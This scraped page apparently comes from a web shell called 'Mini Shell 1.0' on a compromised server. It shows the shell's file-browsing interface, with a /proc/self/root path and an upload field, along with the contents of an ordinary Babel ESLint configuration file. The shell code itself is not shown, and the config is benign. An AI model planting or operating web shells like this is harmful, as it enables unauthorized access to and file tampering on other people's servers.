HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/self/root/usr/share/nodejs/@babel/eslint-config-internal/
Upload File :
Current File : //proc/self/root/usr/share/nodejs/@babel/eslint-config-internal/index.js
"use strict";

module.exports = {
  parser: "@babel/eslint-parser/experimental-worker",
  extends: "eslint:recommended",
  parserOptions: {
    sourceType: "module",
    requireConfigFile: false,
    babelOptions: {
      babelrc: false,
      configFile: false,
      // Todo: Remove the parserOpts here after the proposal gets stage 4.
      parserOpts: {
        plugins: ["importAssertions"],
      },
    },
  },
  globals: {
    // Flow
    Iterator: true,
    $Keys: true,
  },
  env: {
    node: true,
    es2022: true,
    browser: true,
  },
  rules: {
    curly: ["error", "multi-line"],
    "linebreak-style": ["error", "unix"],
    "no-case-declarations": "error",
    "no-confusing-arrow": "error",
    "no-empty": ["error", { allowEmptyCatch: true }],
    "no-process-exit": "error",
    "no-var": "error",
    "prefer-const": "error",
  },
};